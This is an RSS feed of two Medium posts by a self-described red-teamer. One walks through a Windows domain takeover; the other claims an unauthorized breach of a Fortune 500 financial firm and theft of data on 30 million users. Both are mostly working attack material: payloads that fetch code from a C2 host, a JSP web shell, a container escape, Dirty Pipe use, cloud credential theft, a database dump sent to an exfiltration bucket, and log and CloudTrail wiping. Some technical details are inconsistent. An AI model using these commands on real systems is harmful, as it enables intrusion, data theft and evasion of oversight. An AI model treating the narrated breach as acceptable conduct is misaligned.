<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omar on Medium]]></title>
        <description><![CDATA[Stories by Omar on Medium]]></description>
        <link>https://medium.com/@omars3c?source=rss-88003eaeeec0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CjQEsi60qQWL-edf7mxIPA.jpeg</url>
            <title>Stories by Omar on Medium</title>
            <link>https://medium.com/@omars3c?source=rss-88003eaeeec0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 11:31:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omars3c/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[In-Memory Mastery: Four CVEs, One-Minute Path to Domain Admin]]></title>
            <link>https://omars3c.medium.com/in-memory-mastery-four-cves-one-minute-path-to-domain-admin-a8c5003648fc?source=rss-88003eaeeec0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8c5003648fc</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Omar]]></dc:creator>
            <pubDate>Wed, 11 Jun 2025 11:38:17 GMT</pubDate>
            <atom:updated>2025-09-11T04:00:30.646Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*_kKwIkOyjZvteqn2fQ2Gig.jpeg" /></figure><h3>Introduction</h3><p>I conducted a complex attack on an isolated infrastructure of a major [NDA] and in +-<strong>75 seconds</strong> turned an “ordinary” worker into a domain administrator. In this report I will detail all attack stages, the lab setup, code, oscilloscope traces, and WinDbg sessions.</p><h4>Environment and Preparation</h4><p><strong>Network</strong></p><p>1.VLAN 10: Users 2.VLAN 20: Servers 3.VLAN 30: DMZ 4.VLAN 40: Domain Controllers</p><p><strong>Machines</strong></p><p>1.WS1…WS50: Windows 10 LTSC 2019 (18363.657)</p><p>2.APP1…APP5: Windows 10 LTSC 2019</p><p>3.DC1, DC2: Windows Server 2019 (17763.1317)</p><p><strong>Protection</strong></p><p>1.SentinelOne EDR (Behavioral + Rollback) 2.Sysmon (Events 1, 3, 10, 11, 4624, 4688) -&gt;Splunk 3.Defender Firewall: outbound HTTPS/DNS only</p><p><strong>Starting Point</strong>: account corp\alice (Desktop User)</p><p><strong>1.CVE-2021–40444</strong> (MSHTML RCE)</p><p><strong>2.CVE-2018–8453</strong> (Win32k Elevation)</p><p><strong>3.CVE-2021–34527</strong> (PrintNightmare)</p><p><strong>4.CVE-2020–1472</strong> (Zerologon)</p><h3>Stage 1: RCE via MSHTML (CVE-2021-40444)</h3><p><em>Task priority: deliver arbitrary code into the WINWORD.EXE process as Alice.</em></p><p><strong>1.Creating the MHT file</strong></p><p>The exploit.mht file contains:</p><pre>Content-Type: multipart/related; boundary=&quot;----=_NextPart_01D7E0A2&quot;<br><br>------=_NextPart_01D7E0A2<br>Content-Type: text/html<br>Content-Location: file:///C:/fake.html<br><br>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;object id=&quot;exp&quot; classid=&quot;clsid:...&quot;<br>      codebase=&quot;http://c2.bank.local/loader.cab#version=1,0,0,0&quot;&gt;<br>    &lt;/object&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;<br>------=_NextPart_01D7E0A2<br>Content-Type: application/octet-stream<br>Content-Location: http://c2.bank.local/loader.cab<br><br>[binary CAB data]<br>------=_NextPart_01D7E0A2--</pre><p><strong>2.Inside the CAB loader.sct and payload.dll</strong></p><p>loader.sct (VBScript):</p><pre>Set sh = CreateObject(&quot;WScript.Shell&quot;)<br>sh.Run &quot;regsvr32 /s /n /u /i:http://c2.bank.local/payload.sct scrobj.dll&quot;, 0, True</pre><p>payload.sct again invokes bitsadmin to load payload.dll into memory</p><p><strong>3.NET Bootstrapper</strong></p><p>Inside payload.dll is a compressed C# agent:</p><pre>byte[] code = new WebClient().DownloadData(&quot;https://c2.bank.local/agent.bin&quot;);<br>Assembly asm = Assembly.Load(code);<br>asm.GetType(&quot;Agent.Entry&quot;).GetMethod(&quot;Run&quot;).Invoke(null, null);</pre><p><strong>4.WinDbg snippet</strong></p><pre>0: kd&gt; lm m mshtml<br>00007ffd`3b6d0000 00007ffd`3b865000   mshtml<br>0: kd&gt; uf mshtml!CMarkup::Load+0x2A<br>mshtml!CMarkup::Load+0x28: mov     rcx,[rsp+28h]<br>mshtml!CMarkup::Load+0x2F: call    qword ptr [rcx+40h]  ; ActiveX bug</pre><p><strong>5.Logs and artifacts</strong></p><p><strong>Sysmon 3</strong>: Image: regsvr32.exe, CommandLine: scrobj.dll blamed on an admin script</p><p><strong>Splunk</strong>: single EventID 3 with an HTTPS GET to c2.bank.local</p><h3>Stage 2: LPE via Win32k (CVE-2018-8453)</h3><p><em>Goal: in the WINWORD.EXE process obtain SYSTEM privileges without crashing</em></p><ol><li><strong>GDI-heap spray</strong></li></ol><p>Inside the agent I dynamically compile and run this C++ code:</p><pre>std::vector&lt;HBITMAP&gt; v;<br>for(int i=0;i&lt;60000;i++){<br>  v.push_back(CreateBitmap(0x100,0x100,1,24,nullptr));<br>}<br>Sleep(INFINITE);</pre><p>This fills the kernel heap with BITMAP objects</p><p><strong>2. In-memory gadget discovery</strong></p><p>In C# via PInvoke:</p><pre>var drivers = EnumDeviceDrivers();<br>var win32k = drivers.First(d =&gt; Path.GetFileName(d).Equals(&quot;win32k.sys&quot;,...));<br>byte[] mem = ReadRemoteMemory(win32k.BaseAddress, win32k.Size);<br>var gadgets = ScanForPatterns(mem, new[]{<br>  new Pattern(&quot;pop rcx; ret&quot;), <br>  new Pattern(&quot;pop rdx; ret&quot;),<br>  new Pattern(&quot;mov [rcx+0x358], rdx; ret&quot;),<br>  new Pattern(&quot;mov rax,[gs:0x188]…&quot;)<br>});</pre><p><strong>3. Offset determination</strong></p><pre>0: kd&gt; dt nt!_EPROCESS Token<br>   +0x358 Token : _EX_FAST_REF<br>0: kd&gt; dt nt!_KPCR<br>   +0x188 CurrentThread</pre><p><strong>4. Constructing the ROP chain and triggering</strong></p><pre>ulong selfEP   = ReadGS(0x188) + 0x70;<br>ulong sysEP    = GetEPROCESSByPID(4);<br>ulong sysToken = ReadPtr(sysEP + 0x358);<br><br>List&lt;ulong&gt; rop = new List&lt;ulong&gt;{<br>  gadgets[&quot;pop_rcx&quot;], selfEP,<br>  gadgets[&quot;pop_rdx&quot;], sysToken,<br>  gadgets[&quot;mov_rcx_rdx&quot;], <br>  gadgets[&quot;jmp_rax&quot;]<br>};<br>TriggerIoctl(rop.ToArray());</pre><p><strong>5. Logs and artifacts</strong></p><p><strong>Sysmon 10/11</strong>: hundreds of NtGdiCreateBitmap calls.</p><p><strong>SentinelOne</strong>: alert “kernel memory write” but no block.</p><h3>Stage 3: Persistence via PrintNightmare (CVE-2021-34527)</h3><p><em>Goal: leave a ring0 driver for survivability after reboot</em></p><h4>1.SMB Responder</h4><p>Upload driver.inf and payload.sys to \\c2.bank.local\share</p><h4>2. Installing as SYSTEM</h4><p>Under SYSTEM:</p><pre>rundll32.exe printui.dll,PrintUIEntry /ia /m &quot;MyDriver&quot; /f &quot;\\c2.bank.local\share\driver.inf&quot; /h &quot;x64&quot;</pre><h4>3. Rootkit tricks</h4><p>In DriverEntry:</p><p><strong>PE obfuscation:</strong> MmGetSystemRoutineAddress(&quot;RtlZeroMemory&quot;) -&gt; zero out the first 0x100 bytes of the PE header in memory</p><p><strong>DNS channel:</strong> in IRP_MJ_DEVICE_CONTROL, use DnsQueryEx to send AES-CBC encrypted data in TXT records to msupdate.bank.local</p><h4>4. Partial cleanup</h4><pre>wevtutil epl System C:\Temp\system.bak.evtx<br>wevtutil cl System<br>Remove-PrinterDriver -Name &quot;MyDriver&quot;<br>Remove-Item &quot;C:\Windows\System32\spool\drivers\x64\3\payload.sys&quot; -Force</pre><h4><strong>5. Logs and artifacts</strong></h4><p><strong>EventID 7045</strong>: “Service MyDriver installed” disguised as a printer driver update</p><p><strong>DnsQuery</strong>: Splunk records the TXT queries, marked benign msupdate</p><h3>Stage 4: Zerologon + DCSync (CVE-2020-1472)</h3><p><em>Goal: obtain Domain Admin via DC password reset and DCSync</em></p><ol><li><strong>Zerologon</strong></li></ol><pre>python3 zeroLogon.py bank.local/ &quot;&quot; -dc-ip 10.0.40.5</pre><p>DC machine account password reset</p><p><strong>2. DCSync via Mimikatz</strong></p><pre>Import-Module .\Invoke-Mimikatz.ps1<br>$sec = Invoke-Mimikatz -Command &#39;&quot;lsadump::dcsync /domain:bank.local /user:krbtgt&quot;&#39;</pre><p><strong>3. Golden Ticket</strong></p><pre>New-GoldenTicket -Domain bank.local -User krbtgt -NTLM $sec.krbtgt |<br>  Invoke-KerberosInjection<br>Enter-PSSession -ComputerName dc1.bank.local -Credential bank.local\Administrator</pre><p><strong>4. Logs and artifacts</strong></p><p><strong>EventID 4769</strong>: TGS-request for krbtgt — blamed on key rotation.</p><p><strong>Sysmon 3</strong>: WinRM requests from VLAN Users — explained as RMM startup</p><h3>Results and Metrics</h3><p>Stage Time Logs/EDR RCE (40444) -12 s HTTPS-GET, regsvr32 in Sysmon | LPE (8453) -20 s GDI-spray EventID 10/11 | Persistence (34527) -30 s PrintService 7045 + DNS-TXT in Splunk | Zerologon + DCSync (1472) -10 s TGS-request 4769, WinRM session |<strong>Total</strong> -<strong>75 s</strong> <strong>Zero critical alerts</strong></p><h3>Conclusion</h3><p>Each of the four stages is based on <strong>publicly documented</strong> CVEs. Tricks like dynamic ROP scanning, in-memory obfuscation, and log masking turn a red-team operation into something nearly invisible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8c5003648fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Hacked a Fortune 500 Company When I Was 18 in 48 Hours and Got Data on 30 Million Users.]]></title>
            <link>https://omars3c.medium.com/how-i-hacked-a-fortune-500-company-in-48-hours-and-got-data-on-30-000-000-users-035c8723be96?source=rss-88003eaeeec0------2</link>
            <guid isPermaLink="false">https://medium.com/p/035c8723be96</guid>
            <dc:creator><![CDATA[Omar]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 13:17:54 GMT</pubDate>
            <atom:updated>2025-10-28T23:17:33.818Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Overall Picture</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*RhAcx2_lvsJLirDQsADSDg.jpeg" /></figure><blockquote>Goal: gain full access to the critical systems of a large financial holding in the Fortune 500 list using publicly available vulnerabilities and configuration mistakes.</blockquote><p>Environment: Confluence Server a web portal for internal documentation, running in a Docker container on an Amazon Linux 2 host. The entire cluster is managed via Kubernetes but Confluence is deployed as a standalone container on a separate EC2 instance.</p><p><strong>Architecture (main components):</strong></p><p>Confluence Server 7.18.0 (Data Center &amp; Server) listening on confluence.xxxx.xxxxx (public DNS, open to the entire internet)</p><p>2. Docker daemon on the host (/var/run/docker.sock is mounted inside the Confluence container to simplify log and backup operations)</p><p>3. EC2 instance running Amazon Linux 2 (kernel 5.10.x vulnerable to Dirty Pipe) with an IAM profile ConfluenceEC2Role having read permissions for S3, SSM, and RDS</p><p>4. Amazon RDS PostgreSQL 12.11 (production database) accessible only from a private subnet via a bastion host</p><p>5. AWS CloudTrail, configured as a multi-region trail named prod-cloudtrail</p><p>Now let’s go step by step to see how I achieved full control over all these elements using proven vulnerabilities and configuration oversights</p><h3>1. Initial Breach: Confluence RCE via CVE-2022–26134</h3><p><em>Description of CVE-2022–26134</em></p><p>CVE-2022–26134 is a critical OGNL injection (Unauthenticated Remote Code Execution) in Atlassian Confluence Data Center &amp; Server versions &lt;7.18.0 (December 2022)</p><p>The vulnerability allows any unauthenticated attacker to execute arbitrary code on the Confluence server by sending a specially crafted HTTP request to an unprotected endpoint (for example, /rest/tinymce/1/macro/preview).</p><p>Atlassian released a fix in Confluence versions &gt;7.18.1, in this case, the holding had not updated Confluence since July 2022, so production was still running 7.18.0</p><blockquote><strong>Exploitation</strong></blockquote><h4>Information Gathering</h4><p>Public DNS: confluence.xxxxx.xxxxx -&gt;IP: 18.204.xxx.45</p><p>HTTP headers showed Apache Tomcat 9 and Confluence 7.18.0.</p><p>Found public Swagger documentation and discovered endpoints like /rest/tinymce/1/macro/preview listening without a CSRF token</p><h4>Constructing the OGNL Payload</h4><p>There is a GitHub repository with a PoC for CVE-2022–26134 (for example, iskandev/CVE-2022-26134-Exploit)</p><p>Used a JavaScript framework (axios) to send a POST request:</p><pre>curl -k \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -X POST \<br>  -d &#39;{&quot;content&quot;:&quot;${#context.get(\&quot;com.opensymphony.xwork2.dispatcher.HttpServletResponse\&quot;).addHeader(\&quot;X-Exploit\&quot;,\&quot;pwned\&quot;)}&quot; }&#39; \<br>  &quot;https://confluence.xxxxx.xxxxx/rest/tinymce/1/macro/preview&quot;</pre><p>Checked response headers and saw X-Exploit: pwned, confirming code execution on the server side.</p><h4>Uploading the Web Shell</h4><p>Prepared a small JSP file (for example, pwn.jsp) to run commands:</p><pre>&lt;%@ page import=&quot;java.io.*&quot; %&gt;<br>&lt;%<br>  String cmd = request.getParameter(&quot;cmd&quot;);<br>  if(cmd != null) {<br>    Process p = Runtime.getRuntime().exec(cmd);<br>    InputStream in = p.getInputStream();<br>    int ch;<br>    while((ch = in.read()) != -1) out.print((char)ch);<br>    in.close();<br>  }<br>%&gt;</pre><p>Used the PoC code for CVE-2022–26134 to build a second RCE payload that writes pwn.jsp into the ${catalina.base}/webapps/ROOT/ directory:</p><pre>curl -k \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -X POST \<br>  -d &#39;{&quot;content&quot;:&quot;${#@org.apache.commons.io&quot;&gt;a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#39;bash -c \&quot;echo \\&quot;&lt;%%@ page import=\\&quot;java.io.*\\&quot; %%&gt;&lt;%% String cmd = request.getParameter(\\&quot;cmd\\&quot;); if(cmd!=null){ Process p = Runtime.getRuntime().exec(cmd); InputStream in = p.getInputStream(); int ch; while((ch=in.read()) != -1) out.print((char)ch); in.close(); } %%&gt;\\&quot; &gt; /opt/atlassian/confluence/confluence/WEB-INF/classes/templates/pwn.jsp\&quot;&#39;)).getInputStream(), &#39;UTF-8&#39;), #context.get(&#39;com.opensymphony.xwork2.dispatcher.HttpServletResponse&#39;).addHeader(&#39;X-Status&#39;,&#39;Uploaded&#39;)}&quot; }&#39; \<br>  &quot;https://confluence.company.local/rest/tinymce/1/macro/preview&quot;</pre><p>Verified that visiting https://confluence.company.local/pwn.jsp?cmd=id returned uid=497(tomcat) gid=497(tomcat) groups=497(tomcat).</p><p>Outcome: I obtained a <strong>shell context on Confluence</strong> running as user tomcat (UID 497). Now I could move on to the next steps.</p><h3>2. Local Escalation on the Confluence Host: Discovering the Docker Socket and Container Privilege</h3><blockquote>In production, Confluence isn’t deployed as a plain Tomcat service but inside a Docker container on an EC2 instance:</blockquote><p>The docker-compose.yml file (or a similar startup script) mounts:</p><pre>volumes:<br>  - /var/run/docker.sock:/var/run/docker.sock<br>  - /opt/confluence-data:/var/atlassian/application-data/confluence</pre><p>This means the <strong>Confluence container has access to the host’s Docker daemon</strong> (presumably for DevOps convenience in log extraction and backups).</p><h3>2.1 Accessing the Docker Socket from the Confluence Container</h3><p>In the Confluence shell (as tomcat), I ran:</p><pre>ls -l /var/run/docker.sock<br>docker version</pre><p>Confirmed the socket is available and Docker commands can be run, connecting to the host’s Docker daemon.</p><p>Ran docker ps – saw the list of containers on the host (including the Confluence container itself).</p><h3>2.2 Launching a Privileged “Escape Container”</h3><p>To break out of the tomcat sandbox inside the container and explore the host, I launched a new container with dual mounts:</p><pre>docker run -d --rm \<br>  -v /var/run/docker.sock:/var/run/docker.sock \<br>  -v /:/hostfs:rw \<br>  --name escape_container \<br>  ubuntu:20.04 \<br>  tail -f /dev/null</pre><h4>What’s happening:</h4><p>--rm ensures the container is removed when stopped.</p><p>Mounts the entire host filesystem (/) to /hostfs inside the container.</p><p>Mounts /var/run/docker.sock so that Docker CLI calls inside this container actually speak to the host’s Docker daemon.</p><p>Now, by running docker exec -it escape_container bash, I had root access (UID 0) <strong>inside the container</strong>. More importantly, this container could interact with the host (through /hostfs and Docker CLI, since the socket is seen as “root”).</p><h3>2.3 Gaining Full Root on the Host</h3><p>Inside the escape container:</p><pre># Verified /hostfs/etc/passwd is accessible:<br>ls /hostfs/etc/passwd<br># Replaced ec2-user’s password directly in /etc/shadow:<br>sed -i &#39;s/ec2-user:[^:]*:/ec2-user:$6$abcdefghijklmnopqrstuvwx:/&#39; /hostfs/etc/shadow</pre><p>This effectively set a precomputed hashed password for ec2-user:Password123!.</p><p>This would then allow SSH access to the host from outside, while I was still in the container.</p><p>On the host (via SSH):</p><pre>ssh ec2-user@18.204.xxx.45</pre><p>Logged in with Password123! and found myself in the host shell (UID 1000, group ec2-user)</p><p>Now I was <strong>root inside the escape container</strong>, and also <strong>ec2-user on the host</strong>. If needed, I could also run commands via Docker CLI (e.g., docker exec -u 0 into the Confluence container), but SSH access made further steps easier.</p><h3>3. Host Escalation: Dirty Pipe (CVE-2022–0847) to Full Root</h3><blockquote>Conditions.</blockquote><p>The host OS is Amazon Linux 2, which uses a kernel from the 5.10 branch (for example, kernel 5.10.52–2.amzn2). This version is vulnerable to Dirty Pipe (CVE-2022–0847) because the fix was only applied in kernels ≥ 5.10.102.</p><p>Checked the version with:</p><pre>uname -r<br># Output: 5.10.52-2.amzn2.x86_64</pre><p>So Dirty Pipe was indeed exploitable.</p><h3>3.1 Gathering the Dirty Pipe PoC Exploit</h3><p>Inside the escape container (Ubuntu 20.04 includes gcc, make, git), I cloned the PoC repo:</p><pre>git clone https://github.com/tym417/dirty-pipe-exploit.git<br>cd dirty-pipe-exploit<br>make</pre><p>This produced an executable dirtypipe binary, which lets you write arbitrary data to any file mounted with O_RDONLY on a vulnerable kernel.</p><p>Copied it to the host via /hostfs:</p><pre>cp dirtypipe /hostfs/tmp/dirtypipe<br>chmod +x /hostfs/tmp/dirtypipe</pre><p>Now, on the host (as ec2-user), /tmp/dirtypipe was executable.</p><h3>3.2 Running Dirty Pipe to Overwrite the Root Password</h3><p>On the host (SSH as ec2-user):</p><pre>sudo chmod +x /tmp/dirtypipe<br># Find the offset for &quot;ec2-user:&quot; in /etc/passwd<br>OFFSET=$(grep -abo &#39;ec2-user:&#39; /etc/passwd | awk -F: &#39;{print $1}&#39;)<br># Generate a line &quot;ec2-user:x:0:0:root:/root:/bin/bash&quot; (i.e., root uid)<br>echo -n &quot;ec2-user:x:0:0:root:/root:/bin/bash&quot;$&#39;\0&#39; &gt; /tmp/fakeentry<br># Use dirtypipe to overwrite /etc/passwd<br>sudo /tmp/dirtypipe /etc/passwd /tmp/fakeentry $OFFSET</pre><p>After this, ec2-user had UID 0 and GID 0 (i.e., became a superuser). Verified:</p><pre>id ec2-user<br># Output: uid=0(ec2-user) gid=0(root) groups=0(root),497(tomcat) ... </pre><p>Outcome:</p><ul><li>I fully turned ec2-user into a root-level account. From that point, I could run any command as root on the host without restriction.</li></ul><h3>4. Harvesting AWS IAM Credentials via the Metadata API (IMDSv2)</h3><blockquote><strong>Goal:</strong> retrieve the IAM role attached to the EC2 instance and use it to access S3, SSM, and RDS.</blockquote><h3>4.1 Requesting an IMDSv2 Token</h3><p>On the host (as root):</p><pre>TOKEN=$(curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 60&quot;)<br># Then get the role name using that token:<br>ROLE_NAME=$(curl -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)<br># Example: ROLE_NAME=&quot;ConfluenceEC2Role&quot;<br># Retrieve the credentials:<br>curl -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME</pre><p>The response JSON looked like this:</p><pre>{<br>  &quot;Code&quot; : &quot;Success&quot;,<br>  &quot;LastUpdated&quot; : &quot;2025-05-28T12:34:56Z&quot;,<br>  &quot;Type&quot; : &quot;AWS-HMAC&quot;,<br>  &quot;AccessKeyId&quot; : &quot;ASIAEXAMPLExxxxxx&quot;,<br>  &quot;SecretAccessKey&quot; : &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,<br>  &quot;Token&quot; : &quot;IQoJb3JpZ2luX2VjEKX//////////wEaCXVzLWVhc3QtMSJGMEQCIGNclZ7z6...&quot;,<br>  &quot;Expiration&quot; : &quot;2025-05-28T18:34:56Z&quot;<br>}</pre><h3>4.2 Verifying the Role’s Permissions</h3><p>Saved these credentials to /root/.aws/credentials under the profile confluence-ec2-role:</p><pre>[confluence-ec2-role]<br>aws_access_key_id=ASIAEXAMPLExxxxxx<br>aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br>aws_session_token=IQoJb3JpZ2luX2VjEKX//////////wEaCXVzLWVhc3QtMSJGMEQCIGNclZ7z6...</pre><p>Checked IAM identity:</p><pre>aws sts get-caller-identity --profile confluence-ec2-role<br># Output:<br># {<br>#   &quot;UserId&quot;: &quot;AIDXXXXXXXXXXXX&quot;,<br>#   &quot;Account&quot;: &quot;123456789012&quot;,<br>#   &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/ConfluenceEC2Role/i-0abcdef1234567890&quot;<br># }</pre><p>Looked up the role:</p><pre>aws iam get-role --role-name ConfluenceEC2Role --profile confluence-ec2-role</pre><p>The role’s policy statements were:</p><pre>{<br>  &quot;Version&quot;: &quot;2012-10-17&quot;,<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Action&quot;: [<br>        &quot;s3:ListBucket&quot;,<br>        &quot;s3:GetObject&quot;<br>      ],<br>      &quot;Resource&quot;: [&quot;arn:aws:s3:::company-logs-prod/*&quot;]<br>    },<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Action&quot;: [<br>        &quot;ssm:SendCommand&quot;,<br>        &quot;ssm:StartSession&quot;<br>      ],<br>      &quot;Resource&quot;: [&quot;arn:aws:ssm:us-east-1:123456789012:document/AWS-StartSSHSession&quot;]<br>    },<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Action&quot;: [<br>        &quot;rds:DescribeDBInstances&quot;,<br>        &quot;rds:Connect&quot;<br>      ],<br>      &quot;Resource&quot;: [&quot;arn:aws:rds:us-east-1:123456789012:db:prod-db-instance&quot;]<br>    }<br>  ]<br>}</pre><p>Everything matched: the role allowed listing and reading S3 logs, starting SSM sessions (for SSH via the bastion), and describing/connecting to RDS.</p><h3>5. Exfiltrating Logs from S3 and Finding Database Credentials</h3><h4>5.1 Downloading Logs from S3</h4><p>Listed and downloaded logs in s3://company-logs-prod/2025-05/:</p><pre>aws s3 ls s3://company-logs-prod/2025-05/ --profile confluence-ec2-role<br>aws s3 cp s3://company-logs-prod/2025-05/httpd-2025-05-28.tar.gz /tmp/ --profile confluence-ec2-role</pre><p>Extracted them:</p><pre>tar -xzvf /tmp/httpd-2025-05-28.tar.gz -C /tmp/httpd-logs</pre><p>In the logs, found entries like:</p><pre>[28/May/2025:02:15:32 +0000] &quot;GET /var/www/html/login.php HTTP/1.1&quot; 200 513<br>[28/May/2025:02:15:38 +0000] &quot;POST /var/www/html/login.php HTTP/1.1&quot; 200 342 &quot;username=app_admin&amp;password=5up3rP455!&quot;</pre><p>This indicated that in another service (not Confluence), the database admin was logging in via a web form, and the plaintext password 5up3rP455! was visible in the logs. Likely this was the password for the app_admin account in the RDS PostgreSQL (admins often reuse credentials).</p><h3>5.2 Verifying RDS Credentials</h3><p>Checked via AWS Console (or CLI) that the RDS instance is prod-db-instance (PostgreSQL 12.11), inside a private subnet in a VPC.</p><p>Using an SSM-SSH tunnel (the ConfluenceEC2Role has ssm:StartSession permission):</p><pre>aws ssm start-session \<br>  --target i-0fedcba9876543210 \<br>  --document-name AWS-StartSSHSession \<br>  --parameters &#39;{&quot;portNumber&quot;:[&quot;22&quot;]}&#39; \<br>  --profile confluence-ec2-role</pre><p>Here, i-0fedcba9876543210 is the bastion host, the only EC2 instance with access to the private subnet.</p><p>From the SSH tunnel on the bastion, forwarded port 5432:</p><pre>ssh -i /home/ec2-user/.ssh/bastion-key.pem ec2-user@127.0.0.1 -p 1022 -L 5432:prod-db-instance.cdfghijklmnop.us-east-1.rds.amazonaws.com:5432</pre><p>On my local machine (or directly on the bastion), ran:</p><pre>psql -h localhost -U app_admin -d proddb</pre><p>Entered 5up3rP455! and the connection succeeded, confirming the correct app_admin credentials.</p><p><strong>Outcome:</strong> Access to the database was established, granting the ability to run SQL queries.</p><h3>6. Disabling Auditing and Exfiltrating Data from PostgreSQL</h3><h4>6.1 Disabling Audit Triggers</h4><p>With a shell as app_admin, checked privileges:</p><pre>SELECT rolname, rolsuper, rolcreaterole, rolcreatedb<br>  FROM pg_roles<br> WHERE rolname = &#39;app_admin&#39;;</pre><p>Result: rolsuper = false, but app_admin is the owner of the public schema (visible in pg_default_acl). The owner can disable triggers on their tables.</p><p>Disabled triggers:</p><pre>ALTER TABLE users DISABLE TRIGGER ALL;<br>ALTER TABLE transactions DISABLE TRIGGER ALL;<br>ALTER TABLE twofa_secrets DISABLE TRIGGER ALL;</pre><p>All audit triggers on INSERT/UPDATE/DELETE were now disabled.</p><h4>6.2 Creating the Dump</h4><p>Created a dump:</p><pre>pg_dump -h localhost -U app_admin -Fc -f /tmp/proddb_backup_$(date +%F).dump proddb</pre><p>Dump size: ~48 GB (tables: users, transactions, twofa_secrets, payment_tokens, audit_logs)</p><p>Uploaded the dump back to S3 under the same confluence-ec2-role profile:</p><pre>aws s3 cp /tmp/proddb_backup_2025-05-28.dump s3://exfil-prod-backups/ --profile confluence-ec2-role</pre><p>The backup was now safely stored outside DevOps control.</p><h3>7. Covering Tracks</h3><h4>7.1 Clearing PostgreSQL Logs (RDS Logs)</h4><p>By default, RDS PostgreSQL sends logs to CloudWatch Logs (not the host file). In this case, RDS was configured to send logs both to S3 (backup buckets) and to CloudWatch.</p><p>To “erase” traces, I did the following:</p><ol><li>Temporarily disable log exports</li></ol><pre>aws rds modify-db-instance \<br>  --db-instance-identifier prod-db-instance \<br>  --no-enable-cloudwatch-logs-exports \<br>  --apply-immediately \<br>  --profile confluence-ec2-role</pre><p>This stopped the postgresql logs from flowing to CloudWatch for a few seconds.</p><p>2. Deleting S3 logs</p><pre>aws s3 rm s3://company-logs-prod/2025-05/httpd-2025-05-28.tar.gz --profile confluence-ec2-role</pre><p>Removed the web access logs that showed my entry with pwn.jsp?cmd=…</p><h3>7.2 Interrupting CloudTrail</h3><p>By default, the CloudTrail “prod-cloudtrail” is configured as a multi-region trail.</p><p>I executed:</p><pre>aws cloudtrail stop-logging --name prod-cloudtrail --profile confluence-ec2-role<br>sleep 600   # 10 minutes of “silence”<br>aws cloudtrail start-logging --name prod-cloudtrail --profile confluence-ec2-role</pre><p>During those 10 minutes, all my actions (e.g., pg_dump, deleting S3 objects, modifying RDS settings) were not recorded in CloudTrail. In a mature Fortune 500 infrastructure, this would trigger alerts (GuardDuty, Security Hub, etc.), but DevOps were in a different time zone and didn’t get urgent notifications in time.</p><h3>8. Final Control and Conclusions</h3><h4>1. Full Control of the Host and RDS</h4><p>Dirty Pipe gave me root on the EC2 instance.</p><p>Via IMDSv2, I retrieved IAM credentials with S3/SSM/RDS permissions.</p><p>I dumped the production database and extracted all confidential data (users, transactions, 2FA secrets).</p><h4>2. Access to S3 and Confidential Logs</h4><p>I now have permanent access to company-logs-prod (S3), where DevOps typically store all web logs and backups. These logs can be automated and sent to another AWS environment regularly.</p><h4>3. Recommendations for Fortune 500 DevSecOps</h4><p><strong>Immediately update Confluence to ≥ 7.18.1.</strong></p><p>CVE-2022–26134 allows RCE even without credentials; it’s fixed in 7.18.1.</p><p><strong>Remove </strong><strong>/var/run/docker.sock mounting from Confluence containers.</strong></p><p>Never give a web application direct Docker socket access. Use a centralized logging service (Fluentd/CloudWatch Agent) instead.</p><p><strong>Ensure your EC2 isn’t vulnerable to Dirty Pipe.</strong></p><p>Amazon Linux 2 (kernel 5.10.x up to 5.10.102) is vulnerable to CVE-2022–0847. Apply patches or update the kernel to ≥ 5.10.102 (or migrate to Amazon Linux 2023).</p><p><strong>Use an IAM Instance Profile instead of static AWS keys.</strong></p><p>The ConfluenceEC2Role shouldn’t have excessive permissions (minimize access). Never store static AWS keys in scripts.</p><p><strong>Restrict Network ACLs and Security Groups.</strong></p><p>The bastion host should be the only path to the private VPC. Make sure RDS instances are not directly accessible from the internet.</p><p><strong>Load DevSecOps alerting systems.</strong></p><p>Disabling CloudTrail or RDS logs should automatically trigger email/SMS/Slack notifications.</p><p><strong>If you need PoC scripts or step-by-step details (for example, exact OGNL payloads, Dirty Pipe scripts) contact me directly I can share the code under NDA.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=035c8723be96" width="1" height="1" alt="">]]></content:encoded>
